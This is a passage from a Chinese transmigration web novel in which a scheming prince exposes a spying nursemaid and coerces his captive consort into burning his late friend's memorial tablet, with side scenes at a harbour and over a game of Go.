至于绣房为何在午后时分送来,自然是为了讨好王府的主人,好让他在当晚享用。 裴湛匆匆看了几眼,便让侍女收起来了,但心中已经做好了准备。岂料昨夜一派祥和,岭南王抱着他,两人相拥而眠。 眼下听男人问起,定是…… 裴湛抿着唇,知道不得逃避,便掩饰住那点微澜和预感,主动道:“王爷,今晚……. 下一瞬。 岭南王截断了他的话头。 “为何要等到今晚?”嵇燕台抬手,一把取下裴湛发间的墨玉簪,任他长发如瀑般滑落,“本王已经迫不及待,想要见一见白狐仙了。” 裴湛低声道:“现下还是白日。” 嵇燕台接过话,“白日才看得清楚呀。” 见裴湛缄默不言,嵇燕台继续道:“本王还想听一听白狐仙怎么叫,这便派人去你屋里取,在这屋里快活吧,省得你念着那个小的,放不开嘴。” 他语气带笑,却不容人推拒。 裴湛只得默而从之。 不过,这一回他倒是白担心了。 因为嵇燕台现在没打算跟他如何,在等待过程中,他只是搂着怀里的等身人形恒温手办,静静地撩拨着裴湛的发尾,好不惬意。 不一会儿。 外头传来一阵略显急促的脚步声,几道人影在窗纱处闪动,伴随着压抑的低语,刘嬷嬷的声音在门外响起, “王爷,老奴有要事禀告!” 一声开场白,拉开了序幕。 嵇燕台松开裴湛的腰,让人进来。 就见刘嬷嬷脸色铁青,神情严肃,甚至带着一丝厉色,带着桐花和另外两个面色惶恐的丫鬟走了进来。 桐花手中捧着一个用深蓝色布包裹着的长条形物件,裹得严严实实,仿佛里面是什么见不得光的隐秘之物。 嵇燕台眉梢微挑,目光落在那个布包上,语气听不出喜怒:“嬷嬷,何事如此慌张?” “老奴给王爷,给裴侍君请安,”刘嬷嬷声音紧绷,行过礼后,目光直指一旁的白衣男子,“实在事关重大,不敢不报!” 她回过头,冲那两个小丫鬟道: “谷雨,夏芳,你们两个负责裴侍君院里的活计,还不将情况如实道来?” 话音刚落。 两个小姑娘并排跪下,颤颤巍巍地说:“方才王爷命我等取物送来主院,负责收拾箱笼的人是秋锦,她正巧5不在 我们我们翻错了箱笼,误打误撞,发现了” 嵇燕台瞥向刘嬷嬷,“发现了什么?“ 刘嬷嬷深吸一口气,像是下定了决心,猛地将手中的布包揭开! 原来,那块蓝布包裹着的…… 竟是块黑沉沉的灵牌! 牌位上,清晰无比地刻着一个名字。 容阙。 原著里,主角裴湛自幼相识的挚友、恩师容含章的已逝独子、亦是裴湛去岁披着红盖头,行过拜堂之礼的鬼相公。 裴湛的头婚丈夫。 是个书窝里养出来的少年武将。 三年前,容阙还只是个普通侍卫,在跟随当今圣上南巡的途中,遇到刺客围袭。 当时的情况异常凶险。 容阙虽年少,却在危难之际大显身手,可惜他为了救人,自己不慎受了重伤,最后落入汹涌的河波中,十死无生。 正因如此。 他才在圣上那里挂了名。 容含章也借此求得恩典,保全了裴湛的性命。 空气凝固。 在看到牌位的瞬间,裴湛瞳孔骤然一缩。 刘嬷嬷眼底闪过一丝不易察觉的得意,像是为主子感到不值,气愤道:“王爷明鉴,这天底下哪有带着牌位嫁人的先例呀?!” 裴湛敛起心中的错愕,迅速冷静下来,扭头看向岭南王,却见男人蹙着眉,脸色不虞,浑身散发着一股被冒犯的冰冷。 两人短暂地对视了一瞬。 或许是数月的同床共枕,裴湛辨出男人似乎不像是他所表现出来的那般不快,反而透出一股冷眼看戏的兴味。 ……那种眼神,裴湛见过多次。 尤其是自己难以自抑地哭喊之时。 莫名的,面对当下这个局面,裴湛心中隐隐有了一个猜想。 他的手掌隐在袖中,握成拳。 掌心发出冷汗,有些湿润。 跟在岭南王身边的日子越发久,裴湛越发知晓如何保持镇定。 迎着男人的目光,他声音平稳道:“此物本应供奉在永安街巷的旧宅之中,如今出现在此处,定是有人别有用心,意图挑拨离间。” 闻言,嵇燕台将目光转向刘嬷嬷。 刘嬷嬷听了他的话,更是气,“王爷,老奴岂敢妄言!侍君入府后,曾出府两次,皆有府中轿夫为证,去的……正是永安街巷那处旧宅。” “若非侍君自己取回,此等不祥之物如何能神不知鬼不觉地潜入王府内院,藏于侍君贴身衣物之中?!” 她将贴身衣物’几个字咬得极重,暗示着裴湛私藏亡夫牌位的不贞与不轨。 裴湛早有预感。 他揽了权,必然有王府老人给自己使绊子。 然而数日来,寿宴筹办的过程中无比顺利,不曾遇到过阴奉阳违的刁难…… 果然。 矛头在此刻显露。 只是他怎么都想不到,对方使的借口居然是他安置在永安街巷的牌位。 容阙尸身不见,仅有一个衣冠冢。 这块牌位意义非凡。 面对刘嬷嬷的咄咄逼人,凭空污蔑,裴湛沉默片刻,低声道:“王爷,可否命人去我屋中,将我存放在书案隐格中的那几页账册取来?” 嵇燕台一个眼神,底下人应声而去。 很快,捧来一沓账册。 裴湛接过账册,指尖点着上头的账目,声音清冷如玉石相击,“王爷,我清查账目时,发现几处蹊跷,本想在生辰宴后禀告…….” 他抬眼,看向刘嬷嬷,将上头的错漏之处—道来,一桩桩、一件件,条理清晰,款目确凿,将刘嬷多年来利用职权贪墨、虚报、以次充好的行径揭露无遗。 由此证明,刘嬷嬷唯恐他沾手府中内务,捅出自己中饱私囊,欺上瞒下的篓子,这才有意陷害。 刘嬷嬷浑身颤抖,嘴唇哆嗦着,一双耷拉眼瞪着裴湛,怒极了,“老奴对王爷一片忠心,裴侍君何苦如此污蔑老奴!” 裴湛没想过污蔑谁。 他事前没有禀告岭南王,不过是想要在自己遭到陷害或刁难时,以此错账作为筹码,见招拆招。 就像是现在。 可他也没想过,容阙的牌位竟会出现在这里 …. 嵇燕台坐在主位上,面上不虞,实则正津津有味地围观这场大戏。 他仿佛一个置身事外的观众,欣赏够了双方的桥段,才悠悠地叹了口气,将裴湛递过来的几页假账转交卫都,命其查证。 不多时。 卫都带回了答案。 嵇燕台的目光落在摇摇欲坠的刘嬷嬷身上,语气带着几分痛心和惋惜, “嬷嬷,你糊涂啊…… 刘嬷嬷脸色煞白,惶然大怒地瞪着裴湛,连连骂了几声‘狐媚子’,听得堂下众人一阵心惊,噤若寒蝉。 紧接着,她又向嵇燕台一通剖白。 嵇燕台脸色不佳,但还是流露出一抹顾念旧情’的神色,挥退众人,又让裴湛进了里间,给这位乳娘留足了脸面。 厅内,嵇燕台坐在上首。 他居高临下地敛着眸,一只手撑在脑袋,语气很是痛心疾首,“嬷嬷,你太让本王失望了。” “你不忠。” 刘嬷嬷跪在底下,又怒又委屈。 听到这话,她的身形有一瞬间的不自然,开始哭诉道:“王爷,老奴对王爷忠心耿耿,天地可鉴啊!是裴 侍君心 大了,要坏了府中的规矩,做些上不得台面的构陷之举!” “忠心耿耿?” “本王何曾是你的主子啊?” 刘嬷嬷下意识地抬起头,哭声戛然而止,脸上满是惊骇之色。 她眼中含着泪,视线有些模糊,只觉得座上的男人宛如一尊冰冷的大佛,冲自己降下冰冷的审视和洞悉一切的嘲弄。 “王爷这是何意?”她讷讷道。 嵇燕台俯视着她,低声笑语,“嬷嬷,你真正的主子不是在京城慈宁宫坐着吗?” 刘嬷嬷如同被雷劈中,脸色瞬间惨白,语无伦次地吐出几个音节, “不,太、太后…. 嵇燕台点点头,“当年先帝在时,皇兄与三皇子为了储君之位斗得你死我活,太后为了扶皇兄上位,让你……在本王的酒杯里下毒,然后嫁祸给三皇兄的母妃,意图一举扳倒三皇兄,是也不是?” “王……王爷…… 刘嬷嬷麽瘫软在地,抖如筛糠,“您怎么会知道的…. 她咽了咽口水,连忙解释道,“那药只是让人看着虚弱病重,并不伤及性命,娘娘也是迫于无奈啊,虎毒不食子!” “哦。” 嵇燕台的语气毫无波澜。 “或许太后给你的药确实如此,”他摇头,眼神冰冷刺骨,“不过那药被人调了包,换成了另一种剧毒。” “哎,是皇兄吧。” 嵇燕台施施然道:“他怕药力不足,不足以彻底将三皇兄拉下马,也怕我这个亲弟弟有朝一日成了他的威胁,一石二鸟。” “太后知道后,事情已经发生了。” 刘嬷嬷瘫倒在地,不可置信道:“您怎么会知道,难道这些年您一直在…… 藏拙? 不好意思,岭南王′是真的人体艺术家。 不像他。 手握原著势力,恐怖如斯。 但话又说回来,尽管嵇燕台读过原著,可小说里不曾深入描述“岭南王′的过往,仅作为人物背景设定存在,单薄又片面。 这些信息,还是他穿过来以后,自己一点点抽丝剥茧,拼凑而成的。 太后和当今圣上是同一个战线的夺嫡母子。 岭南王是被献祭出去的废物小号。 太后确实不想他出事,但下手的是自己的另一个儿子,两人达成共识,隐瞒真相,又对岭南王多加弥补。 所以啊…… 他才能在岭南呼风唤雨,谁也不怵。 嵇燕台忽然想起原著中的片段,乐不可支地笑了两声,“世事无常,大肠包小……咳,皇兄顺利登基,不过他大概做 梦也没想到,自己寄予厚望的太子竟是个天生的弱精之症,子嗣艰难。” “太子唯恐东宫之位不稳,想出了一招借他人之种,让太子妃有孕的禽兽法子。“ … 这便是裴家满门抄斩的真相。 裴淇发现了这个秘密,活不得。 偏偏他为了参加家宴,恭贺亲弟裴湛的探花之喜,出宫回家,引来太子猜忌,设计灭了满门。 刘嬷嬷听到此等宫廷辛密,神情惊惧,忽又想到了什么,哭求道:“王爷.……爷饶命!老奴发誓,今日所闻,绝不敢泄露半字!” 嵇燕台微微笑,不应声。 他不再看她一眼,扬声唤道:“卫都!” 卫都如同鬼魅般出现在门口。 “刘嬷嬷年迈体弱,担不得管理王府内务的重任了,即刻安排人手,送嬷嬷去庄子荣养。” 刘嬷嬷眼中的光彻底熄灭,如同一滩烂泥般瘫在地上,被卫都毫不留情地拖了出去。 府中人都知道刘嬷麽的错处,贪墨,且对裴侍君不敬,王爷却还愿意为她保留名声,不由得感叹一句主子到底还是顾及旧情。 这都是后话了。 前厅,重归肃静。 嵇燕台淡定起身,慢悠悠地拉开里间的门,果然瞧见裴湛站在门后,脸色苍白无血色,神情晦暗至极。 太子隐疾,借种生子…… 这些足以震动朝野的绝密,如同惊雷在裴湛脑中炸响,偏偏这就是裴家满门抄斩的真相! 他们裴家上下百余条人命,到底算什么?! 裴湛攥紧拳头,指甲深嵌入掌心,带来一阵尖锐的刺痛,却远不及心中的悲戚与痛苦,以及刻骨铭心的仇恨。 嵇燕台抬手,在他眼下摩挲了两下。 “宝贝,不哭呀。” 裴湛这才反应过来。 他闭了闭眼,看向身前的男人,声音有些沙哑,“王爷是故意让我与刘嬷嬷相争,是想借我的手……除掉她?” 嵇燕台笑而不语。 裴湛沉默片刻,又问道:“刘嬷嬷真的贪墨了吗?那些假账本究竟是…… 还有,容阙的牌位…… 裴湛想问,却不敢问。 男人竖起一根食指,堵住了他的话。 “账本是真是假,这件事很重要吗?”嵇燕台目光深邃,声音低沉而暖昧,隐约透出两分教导之意,“不先做一回他人手里的刀,你怎么能学会如何用刀呢?”裴湛当即明白过来了。 他顿觉通体发寒,如坠冰窟。 这时候,岭南王将他揽入怀中,凑到耳边轻语道:“好宝贝,这便是本王给你的奖励,是不是送到你心坎里了?” “不对本王说声谢谢吗?” 裴湛怔忪了一瞬。 随即,岭南王深深地吻过来。 裴湛心中悲戚至极,唇舌却下意识地回应了起来,这让他更愈作呕,紧闭的眼尾飞快地划过一点湿润,悄然无踪。 就见厅堂中央,赫然摆放着一个烧得正旺的火盆,里头跳跃着明亮的火焰。 空气被熏得滚烫。 嵇燕台将裴湛轻轻放下,捏着他的下颌,将他的脸转向某个方向——正是那块写着‘容阙二字的漆黑牌位。 裴湛瞳孔骤缩,喉咙翻滚。 因为他听见男人很平静地吐出一句, “湛湛。” “把它烧了。” 287、Chapter 287 嵇燕台扔下这句话后,悠然坐回主位,好整以暇地望着僵立在不远处的裴湛,火光映照着他苍白的脸,眸中的错愕毕露。 短时间内,裴湛遭受了太多冲击。 先是刘嬷嬷对自己的诬告。 裴湛反击自卫,却发现自己做了岭南王的棋子与手中刀。 随后,他又从岭南王口中得知宫中秘闻,宛如一根葡萄藤,上头牵连了无数人—先帝太后、当今圣上、岭南王、太子、以及遭受了无妄之灾的裴家百余口人…… 真相如此触目惊心,又荒诞可笑! 裴湛胸膛剧烈起伏,心绪难平。 偏偏岭南王步步紧逼,一言一行,皆透露出浓重的压迫感,就连跟在他身边数十年的乳娘和内务管家刘嬷嬷,都不清楚他的城府之深。 裴湛几乎喘不过气来。 他看着那块牌位,声音干涩沙哑,“王爷,我与容阙只是同窗旧友,情同手足,不曾有过别样的情愫,那场婚事也只是无奈之策……”. 稍一停顿。 裴湛低声道:“我只为王爷一人所有。” 嵇燕台只是静静听着,仿佛在欣赏一场徒劳的表演,听到裴湛的低语,唇边才勾出一抹笑,语气玩味,“哦?是吗?” “岂不是时机正好? “那你便向本王证明自己的…”嵇燕台拖长尾音,最后两个字的咬字极重,“贞洁。” 两个字冷不丁砸在裴湛的脑门上,他望着岭南王那双毫不动容的眼眸,一颗心沉到了底。 解释是无用的。 眼前这个男人要的,从来不是真相。 嵇燕台倒也不是真要将裴湛压得心灰意冷,他威逼完,又开始利诱,慢悠悠地开了口, “湛湛,就算你知晓了太子的秘密,裴家满门抄斩的内情,可你孤身一人,还带着一个说不了话的孩子,如何能抗衡东宫储君?” “那些秘密,对你而言,不过是催命符。” 两人一站一坐,坐着的嵇燕台单手撑头,须抬高脸才能看清裴湛的神色,可他的语气却透出一股居高临下的施舍, “别说离开岭南…… “若是没有本王的首肯,你连这座王府都出不了。” 嵇燕台笑了笑,话锋陡然一转,“好在本王并非你的仇人,而是你的丈夫,自然要护着你,不教你走错了路。” “再者说,” 嵇燕台微微倾身,语调温和,却残忍地将裴湛数月来的隐忍、屈辱、算计,一层层剥开, “你对本王折腰卖笑,百般温顺……不正是因为心中有恨,却独木难支,想要借一借本王的东风吗?” “本王便给你一个机会。” 话毕,嵇燕台站起身,一步步走向裴湛,绕到他的身后耳语道“烧了这块破木头,如今文刘效被撵出府,正是你接管王府内务的好时机,难不成你只想做一个陪床的男妾?”空气沉寂。 裴湛感受到岭南王从身后贴过来,呼吸肆无忌惮地喷洒在耳根。男人轻轻攥住自己的手,每一个字都掷地有声,往他的心口钻, “你要做刀,还是做持刀的人?” 嵇燕台清晰地感受到,裴湛浑身的肌肉骤然紧绷,两只手握成拳,正微微颤抖着。 他淡笑道:“你方才也听到了,我与当今圣上亦有龋,你裴家有谋逆罪名,我岭南王府自然不得与你有所牵扯,更不能助你复仇。” “但是—” 嵇燕台丢出一个转折,继续道:“本王却能教你如何挥刀向敌,如何发展属于自己的势力,岂不更美?” “眼下除了本王,还有谁能帮你?” “那块牌位吗?” “你叫它一声,它能应你吗?” 嵇燕台缓步绕到裴湛身前,抬手扣住他的后脑勺,与其额头相贴,“湛湛,机会……本王只给你这一次,你可要好生决断。” 他斜着眼,瞥向地上的火盆, “火快要灭了哦。” 说完,嵇燕台施施然地后退两步。 裴湛盯着那盆火,只觉得那火一路烧到了自己的心里,脑中不期然闪过一幕幕旧景…… 恩师对自己的种种照拂; 容阙坐在高高的树枝上,晃着腿。他手握着一卷书,站在树下。容阙志得意满地冲他喊着,“清晏,将来我想从军,升官肯定比你快,到时候定然罩着你!” “.…你还是先从树上下来吧。” “不要,我爹要揍我。” “咳,清晏,你去替我说说好话。” “谁罩谁?”. …… 那个要当大将军的人,早早离世,落得生不见人,死不见尸’的下场,恩师伤心欲绝,一夜老了十岁,抱着牌位老泪纵横。 裴湛亦是悲恸,宛如断了手足。 去岁,那人终究践了诺,护了他一场。 可自己现在在做什么? “轰——“ 火盆里传出一道撞响。 很快,那些温暖的、难能可贵、让人每每想起便会心一笑的记忆……被猛然窜高的火舌舔出几个大洞,变得面目全非了。裴湛面无表情地瞧着,看着。愧意如山崩,汹涌地向他倒来。可他现在还不能倒下。“嗤啦!”火焰融了木头表面的清漆,发出迸裂声。 嵇燕台瞥了眼火盆中熊熊燃烧,逐渐化为灰烬的牌位,以及裴湛有些失魂落魄的身影,语气略带唏嘘,像在说风凉话, “大冬天的。“ “这块干柴烧起来还挺暖和的么。” 杀人诛心,莫过于此。 嵇燕台还不肯停。 他又上前,捏起裴湛的下巴,注视着这张看似平静,实则写满痛苦的面庞,轻飘飘地道了声, “来,对本王……笑一下。” 闻言,裴湛缓慢目艰难地扯动嘴角,露出了一个比哭还要难看百倍的微笑。他的眼眶微红,眼底映着一旁热烈的火光,烧着男人的倒影。 嵇燕台满意地看着这双眼睛。 他一把将裴湛抱进怀里,下巴抵着发顶,忽然听到脑中响起一声‘叮’,系统小声提醒道:“宿主,第二个任务进度条涨了,当前为50%。”嵇燕台没搭理袍。 系统自顾自地出声,“主角都被你翻来覆去地那啥了好几个月,都没有生出那股恨不得将你杀之而后快的屈辱,没想烧了个牌位就…” “这就是原著里正攻的牌面吗?!” 嵇燕台忍不住翻了个白眼。 这垃圾系统的恋爱脑没救了。 裴湛确实有着君子之风,尽管嵇燕台对他强取豪夺且威逼利诱,他却觉得自己心中亦有所求,同样不清白,不磊落.…… 其中又有裴允书情况好转的因素。 因此,裴湛不曾对他生出憎恨之情。 直至这一刻。 嵇燕台抱着裴湛,问:“恨我吗?” 嵇燕台低笑两声,继续说:“一个人只有经受过许多痛苦,才能学会做痛苦的主人,当你对着一个无比仇恨的人还能谈笑风生,百般讨好恭维,你便真正长大啦。”“这是本王教给你的第一课。” 半晌。 裴湛应道:“谢王爷教导。“ 另一头。 沈潮生一夜辗转反侧,天快亮才眯了一觉,醒来时已近午时。他不是娇生惯养的富家少爷,草草用了饭便去了海港。 这是岭南最大的一片海港。 海风刺骨,带着浓浓的咸腥气息。 沈潮生踏上了自家最大海船的甲板,脚步难得有些虚浮。他脑子里还反复回放着岭南王府寿宴上那惊悚的一幕,碎裂的声响尤在耳边回荡。 瞥见甲板前方的一道身影,沈潮生回了神,加快脚步,将手里提着的油纸包扔过去, “阿寻,接着!” 那人闻声回头,身形高大且挺拔,五官却很年轻,只是眉宇间笼罩着一丝挥之不去的迷茫。他手臂随意一抬,便稳稳地接住了油纸包。 “沈少爷,你晚了。” 见此情形,沈潮生忍不住夸了句,“你这准头真是好,就没见你有接不到的东西。“ “雕虫小技罢了。” 阿寻靠着船舷,很不见外地拆了纸包,将里头的精致糕点往嘴里塞,目光仍望着远处波光粼粼的海面。 沈潮生并不觉得冒犯。 此人是他三年前跑商靠岸时,从近海港口打捞起来的落难者,身上伤痕遍布,泡得发了白,能活下来都是老天爷保佑。 沈潮生自掏腰包,将他送到医馆救治,也算积德行善了。 不料这人重伤失忆,连名字都忘了,身上也没有能表明身份的东西。沈潮生见他手中有茧,明显是个练家子,便将其留在身边做事。 三年过去了。 两人是东家与海员,亦是一道扛过海上风暴的过命兄弟,真心朋友。 阿寻咽了咽,随口道:“怎么样?” 沈潮生打着哈欠,“什么怎么样?” “你昨天不是岭南王府贺寿了吗?”阿寻扭头看过去,“有意思吗?” 听到这话,沈潮生打了一半的哈欠,陡然咽回肚子里,心有余悸地道:“好玩什么?差点没吓死我!” 甲板上,只他们二人凑得近,也不怕人多耳杂往外说,沈潮生便长叹一声,抱怨道:“你是不知道……那位岭南王简直阴晴不定,喜怒无常,我当时还以为要脑袋搬家了。” 他绘声绘色地描述着当时的惊险场面。 阿寻默默听着,不说话。 沈潮生说完,又叹了一口气,庆幸道:“好在岭南王府里还有一位裴侍君,打了个圆场,否则我真是…… 贵人的心思,真是比海上的天气还难琢磨。 天空无云。 海港上空悬着一轮金日,海面一晃一晃的,映出无数细碎光点。 沈潮生歇了歇嘴,冷不丁问:“对了,在海上飘了许久,好不容易才靠了岸,你有没有去找安梧堂的林大夫,再瞧瞧你的失忆症状?” 阿寻沉默片刻,应道:“算了吧。” “三年了。” “我还是什么都想不起来。” 288、Chapter 288 计之深,则谋远。 数月间,嵇燕台对裴湛的身体步步侵略,肆意赏玩,裴湛尚能忍受,甚至出于自己的目的,展现出一定程度的迎合。 然而,这一回…… 嵇燕台把手伸向了他的精神世界。 果不其然。 在身体与精神双双失守的情况下,裴湛表现出了数月来最深切的痛苦与屈辱,对嵇燕台这个始作俑者产生了憎恶情绪。 任务进度条就是证据。 至于进度条为什么是‘50%”这般泾渭分明的数值,嵇燕台心里也有所猜测。 在原著中,“岭南王′将叔侄二人分隔在两个院子,以裴允书为质,来钳制裴湛。 直至某一天…. 反过来亦是如此。 跟嵇燕台现在的做法没什么两样。 裴湛的日子不好过,裴允书那头也并非岁月静好。他被岭南王关在偏院中,下人欺他是个不会说话的痴儿,平日里多有克扣。 叔侄俩牵挂着彼此,难得一见,也是尽量表现着自己好的一面,从来不透露自己的艰难。 王府里举办宴会,丝竹乐声不断,下人将一盘盘珍馐呈上宴厅,香气被风送入偏院,裴允书饿得受不了,趁看护不严,溜了出来。 原本他只是想找点吃食,随便什么都好,填一填空荡荡的肚子,却意外撞见了让自己一辈子忘不掉的场景。 王府主人高坐于堂。 堂下是一群衣着清凉的舞妓。 王府主人将桌上的珍馐通通撤下,摆上笔墨纸砚,高笑着命令一旁的青衣男子加入舞妓中,当众献舞,他要作画。 裴允书年纪尚幼,不太明白那些事,却也清晰地意识到…… 自己的小叔是受了辱。 在此之前,裴允书只以为小叔同自己一样,吃不饱睡不好,成天被关在一个窄小的院子里,不得外出,也见不了外人。 他恍恍惚惚,如梦初醒。 当晚,裴允书开口说了两年间的第一句话。 嵇燕台猜测,当前任务的另一半进度条系在了裴允书身上,须要叔侄两人达成共识,不再以彼此为桎梏,同心协力。 简而言之,就是凑够杀意100%,第二个折辱主角的任务才算圆满完成,并以此为基础,引出最后一个关键剧情点。 ——反杀岭南王。 这也是嵇燕台的最后一个任务。 作为原著中的渣男前夫哥,他只要喝下裴湛递过来的毒酒,就算是补全了所有关键剧情点,能够杀青下线,去往现代世界了。 预计毒杀时间,应该不超过五分钟? 简单得不可思议。 原著中,叔侄两人在岭南王府里沉陷了两年光阴,如今才将将过去半年,更何况嵇燕台不打算早早杀青,自然不能对裴允书下手了。就连裴湛,他现下也要避着些呢。 嵇燕台深谙一张一弛之道,自己刚逼迫裴湛亲手焚烧容阙的牌位,此举不仅亵渎了亡者,还将容家父子的恩义踩在脚下,极尽贬损。再加上裴家灭门真相…… 裴湛必然悲极、怒极、难以自持。 嵇燕台知晓他骨子里藏着一股坚韧劲儿,很快便能缓过来,强打起精神,带上恭顺的面具来应付自己,博取筹码。 但……没这个必要。 毕竟是他的枕边人么。 多多少少,还是要优待一二的。 因此,嵇燕台一连数日不曾踏入后院,给了裴湛几天喘息的时间,收拾好破碎的心绪。 只不过,第二天便有下人来报,说是裴侍君今辰起身时的脸色异常苍白,府医前来瞧过,判定是风寒之症。 或许是天寒。 亦或者,是大悲大怒伤了身。 下人来报时,嵇燕台正在书房里。 他平静地嗯了一声,吩咐道:“让府医好生照料,不得有丝毫疏忽。所需药材,库房尽取。” “是,奴婢告退。” 窗外的天泛着灰,雾气与云絮似乎缠绕在一块儿,分不清你我,日光艰难地撒下来几束,淡得看不见。 嵇燕台画累了,放下毛笔。 桌上铺着两张白纸。 纸上赫然描画着两间书房的格局和摆设,一大一小,大的那间像是双人工作间,连书桌都配备两张,小的那间只配了一套书桌和椅子,旁边标注了尺寸,不似成人所用。 画好了图纸,嵇燕台将其吩咐下去。 他往后靠了靠,环视一圈,只觉得这间书房太不正经了,收录了数不清的小书和小o漫,其中有不少出自于书房主人之手。 岭南王′的厨力实在惊人。 嵇燕台打算重新整饬一番,让这间书房恢复它本该有的职能,老登快乐痛屋留一间就够了,他需要一个适合教学的空间。 过些日子,用得上。 虽说他费了心思,但大部分的实事,还是底下人去落实。 嵇燕台去不得装修中的书房,又不入后院,更没心思在大冷天跑出府玩,就命人将裴允书带了过来。 主院,茶厅。 屋子里起了暖炉,没有烟,反倒弥散出淡淡的果木香。临窗的位置摆了一张榻,中间置着一方小桌,正好放得下一个围棋盘。 两侧的软垫上,坐了两个人。 嵇燕台倚着窗,指尖拈着一粒白玉棋子,晃了晃,问对面那个矮兮兮的嫩团子, “会下围棋吗?” 裴允书摇摇头,大眼睛里满是茫然。 嵇燕台也不恼,开始手把手地教裴允书围棋规则,从最基本的“气和‘眼’开始讲解。 裴允书看着呆,记忆力倒是出众,只听了一遍就记住了。 很快,两人开始了第一盘对局。 裴允书火速落败,被杀得片甲不留。 嵇燕台坏极了,说这样下棋无趣,要拿他喝药时甜嘴的蜜饯做彩头,见裴允书说不出话,直接当他默认了。 不一会儿。 他就输光了半个月的蜜饯。 在新开一局之前,嵇燕台笑吟吟地问他,“还要继续吗?叔父不会礼让小孩哦,再这样下去,小允书便一整个月没有蜜饯甜嘴了。” 裴允书没有犹豫,重重点头。 见状,嵇燕台挑了挑眉。 裴允书以肉眼可见的速度进步着。 尽管他在嵇燕台手下毫无还手之力,但每一次输棋复盘过后,他似乎都能汲取教训,思考的深度和布局的水平远超一个五岁孩童应有的水平。 裴家是什么风水宝地么? 嵇燕台如此想道。 一下午过去。 裴允书除了输,还是输。 不知是不是屋中炭火烧得太热,他的鼻尖沁出了细密的汗珠,眼神却亮得惊人,一张小脸绷得紧紧的,仿佛已经完全沉浸在那方寸之间的博弈中。 “啪嗒。” 嵇燕台飞快地结束了这一局。 天色渐暗了。 昏黄的夕阳从竹帘的缝隙间透进来,给黑白棋子渡上一层光晕,嵇燕台捏着一枚棋子,有一搭没一搭地抛起来,又接住。 侍女正在给裴允书穿袄子。 在被带出门之前,他还睁着双大眼睛,冲嵇燕台这头使劲儿张望,像是有什么话要说。 嵇燕台丢开棋子,冲他勾了勾手指。 裴允书当即小跑过来。 嵇燕台捏起他的面颊,揪了两下,“从进门时就在偷看我了,不会说就写字吧。” 话音刚落。 裴允书就举着短胖的食指,在嵇燕台的腿上写起了字,写完,他又指着自己的心口,做出一个有些难过的表情。 跟嵇燕台不同,裴允书是个真小孩。 再聪明的小孩,也是小孩。 他对这个世界、对人事物的认知,完全基于他的所见所闻—裴家家风温良正直,两代人皆是婚事顺遂,和和美美,不曾有他人介入其中。 他知道自家小叔与叔父成了婚,却并不知晓一个男人嫁给另一个人究竟意味着什么,裴湛也没将那些糟心事告诉他。 在他当下的认知里,两个大人应当是互相爱护的至亲,所以当他发现到小叔抱病的时候,本能地想要向嵇燕台表达自己的担忧。 他在问嵇燕台, 小叔什么时候才能好?'' 嵇燕台垂眸看着那双清澈担忧的眼睛,心中了然,裴允书本就在喝汤药,裴湛染了风寒,自然不愿见他,唯恐过了病气。 小孩儿惦念着家长呢。 他蹲下身,拍了拍裴允书的脑袋,意味深长地道:“快了,小叔不会病太久的。” 裴允书点点头。 嵇燕台想了想,凑到他耳边,用只有两人能听见的气声,说了几句话。 裴允书听罢,眼睛微微睁大。 “去吧。” 嵇燕台直起身,示意侍女带他回后院。 欺风小院。 天色黯淡极了。 山际的浓雾未消,遮掩住落日的行踪,只留下一片无尽的红云,莫名让人心情低落。 裴湛站在廊下,眺望着院门的方向。 他衣着厚实,脸色却苍白憔悴,时不时低头掩唇,发出几声低低的咳嗽。 这场风寒来得急。 从前厅回来的当晚,他就发了热,好在症状不严重,翌日府医前来诊了脉,开了几味药,又叮嘱裴湛勿要郁结,忧思伤脾。 裴湛暗暗苦笑。 ……他如何能不忧虑? 家破人亡在前,伸冤复仇在后。 如今是他伤寒的第三日,症状已经好多了。偏偏午膳后,连翘来禀告,说是王爷让人领着允书去了前头。 按理说,这不是什么稀罕事。 每隔一段时间,岭南王就会命人召允书去前头说话,事后允书的神采便轻松几分,瞧着也活泼爱动些了,不像之前那般痴傻呆愣。 裴湛逐渐放下了心,不再提心吊胆。 但在那件事情之后…… 裴湛放下的心,又提了起来。 更别提今日裴允书一去,便是一整个下午,眼见天都要黑了还不见人回来。 连翘也愁着脸,小声道:“要不……奴婢去前头问一问吧?” 裴湛摇头,“不能去。” 就在这时。 侍女牵着一道小小的身影跨进院门,夕光拉长影子,裴湛见他如往常一般,这才卸下一口气。 连翘连忙迎上去。 裴湛顾及着身上的病,仍站在原处,却见裴允书望了一眼自己,便挣开连翘的手,急匆匆地往侧屋方向跑去,一溜烟儿没了影。 连翘连喊几声,他都没回头。 “无妨,兴许是半日不见大福了,”裴湛叮嘱道,“连翘你跟过去看看,夜里注意着些,别让他受了凉。” 话音刚落。 廊下又响起哒哒哒的脚步声。 裴允书又跑回来了。 见他撒开腿,往裴湛的方向跑去,连翘连忙劝阻道:“小公子,侍君的风寒尚未痊愈,您不能过去呀…… 没拦住。 裴允书像是没听见一样,冲了过来。 “允书!” 裴湛吃了一惊,下意识想后退避开。 然而,裴允书已经冲到他身前,迅速地张开双臂,高举着,勉强抱住了他的腰,并将小脸深深埋进他腰间,用力地蹭着,怎么也不肯松手。 “允书,松开… 裴湛低声哄着,让他回自己屋里。 裴允书充耳不闻,只是更加用力地抱紧他,小小的身体传递着执拗的温暖,仿佛要将自己所有的温度都传递过去。 裴湛推拒的动作渐渐停了下来。 这是一个稚嫩却无比坚定的拥抱。 那股侵入他体内的冬日寒意,仿佛被这个小小的拥抱驱逐了。 一股难以言喻的酸楚和暖流交织着涌上心头,裴湛忍不住伸出手,轻轻回抱住了身前的裴允书。 良久,良久。 他轻声问道:“允书,你怀里塞什么了?” 咯得慌。 闻言,裴允书松开手臂,后退一步,从怀里掏出一个鼓鼓囊囊的油纸包,往裴湛手里塞。 裴湛接过,还颇有分量。 他举到面前嗅了嗅,闻到一股甜丝丝的蜂蜜香气,当即了然,“原来你方才是回房间取你的蜜饯了,都给我么?” 裴允书下意识点点头,又连忙摇头,还抬手往院外的方向指去,手忙脚乱的样子教裴湛看了直想发笑。 于是,他的脸上升起一抹淡笑。 裴允书眨眨眼,又抱了上去。 他的脑袋贴着裴湛的腰,脸偏向一侧,望着主院的方向看了好一会儿,才被连翘带回了屋。 又过了两日。 裴湛停了汤药,风寒彻底痊愈。 嵇燕台本是不知道这件事的,是侍女提着一个食盒来通报,说裴侍君送来一盅银耳莲子羹,王爷是否趁热用? “呈上来吧。” 侍女轻手轻脚地将甜羹放在案头。 